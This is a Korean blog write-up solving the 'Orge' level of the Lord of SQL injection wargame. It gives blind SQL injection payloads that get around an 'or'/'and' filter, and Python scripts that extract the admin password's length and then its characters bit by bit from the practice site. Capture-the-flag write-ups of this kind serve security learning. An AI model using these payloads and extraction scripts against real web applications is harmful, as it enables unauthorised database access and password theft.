Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

D1N0's hacking blog

Lord of SQL injection - Orge 본문

Web/Lord of SQL injection

Lord of SQL injection - Orge

D1N0 2020. 11. 11. 17:51

문제 풀이

코드를 보니 or과 and를 필터링하고 있다

그리고 믿에서 pw를 직접 검사하기 때문에 Blind SQL injection을 통해 pw를 알아내야 한다

STEP 0 - SQL injection 취약점 확인

pw=' || id='admin' %26%26 1=1;%23

이렇게 쓰면 Hello admin이 뜬다

이를 이용해 Blind SQL injection을 한다

STEP 1 - pw 길이 구하기

pw=' || id='admin' %26%26 length(pw) = [길이 추측];%23

이를 이용해 길이를 구할 수 있다

직접 하기 귀찮으니 파이썬 코드를 짠다

import requests

target = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

for i in range(100):
    pay = f"?pw=' || id='admin' %26%26 length(pw)={i};%23"
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

실행하면 pw길이가 8이라는 것을 알 수 있다

STEP 2 - pw 구하기

저번 orc 문제의 풀이처럼 숫자를 일일히 대입해도 되지만 너무 오래 걸리기 때문에 새로운 방법을 사용해보았다

문자의 아스키 숫자를 이진수로 변환해서 각각의 자릿수를 구하고, 합쳐서 숫자를 알아낼 수 있다

최대 한글자에 100번까지 돌던 저번 코드와는 다르게 8번이면 한 글자를 구할 수 있다

pw=' || id='admin' %26%26 substr(lpad(conv(hex(substr(pw,[몇 번째 pw],1)),16,2),8,0),[이진수의 몇 번째 자리],1)=1;%23

간단히 설명하자면, hex는 문자를 16진수로 바꾸는 함수이고, conv는 진수를 바꿔주는 함수이고, lpad는 문자열을 지정한 글자수가 될 때까지 지정한 글자로 왼쪽을 채우는 함수이다

그러니까 substr(pw,[몇번째 pw],1)에서 pw의 한 글자를 가져오고, 가져온 한글자를 16진수로 바꾸고, 그 16진수를 2진수로 바꾼다

그다음 lpad로 왼쪽을 0으로 채운다(10011 -> 00010011)

그리고 그 이진수를 하나씩 잘라서 1과 비교한다

이를 코드로 짜면 다음과 같다

import requests

target = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

length = 8

pw = str()
for i in range(1, length + 1):
    tmp = str()
    for j in range(1, 9):
        pay = f"?pw=' || id='admin' %26%26 substr(lpad(conv(hex(substr(pw,{i},1)),16,2),8,0),{j},1)=1;%23"
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            tmp += '1'
        else:
            tmp += '0'
    pw += chr(int(tmp, 2))
print("pw :", pw)

STEP 3 - 인증

아까 구한 pw를 넣으면 클리어 된다

 

전체 코드

import requests

target = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

######get pw length#######

for i in range(100):
    pay = f"?pw=' || id='admin' %26%26 length(pw)={i};%23"
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

#######get pw#######

pw = str()
for i in range(1, length + 1):
    tmp = str()
    for j in range(1, 9):
        pay = f"?pw=' || id='admin' %26%26 substr(lpad(conv(hex(substr(pw,{i},1)),16,2),8,0),{j},1)=1;%23"
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            tmp += '1'
        else:
            tmp += '0'
    pw += chr(int(tmp, 2))
print("pw :", pw)

'Web > Lord of SQL injection' 카테고리의 다른 글

Lord of SQL injection - Vampire  (0) 2020.11.11
Lord of SQL injection - Troll  (0) 2020.11.11
Lord of SQL injection - Darkelf  (0) 2020.11.11
Lord of SQL injection - Wolfman  (0) 2020.11.11
Lord of SQL injection - Orc  (0) 2020.11.10
Comments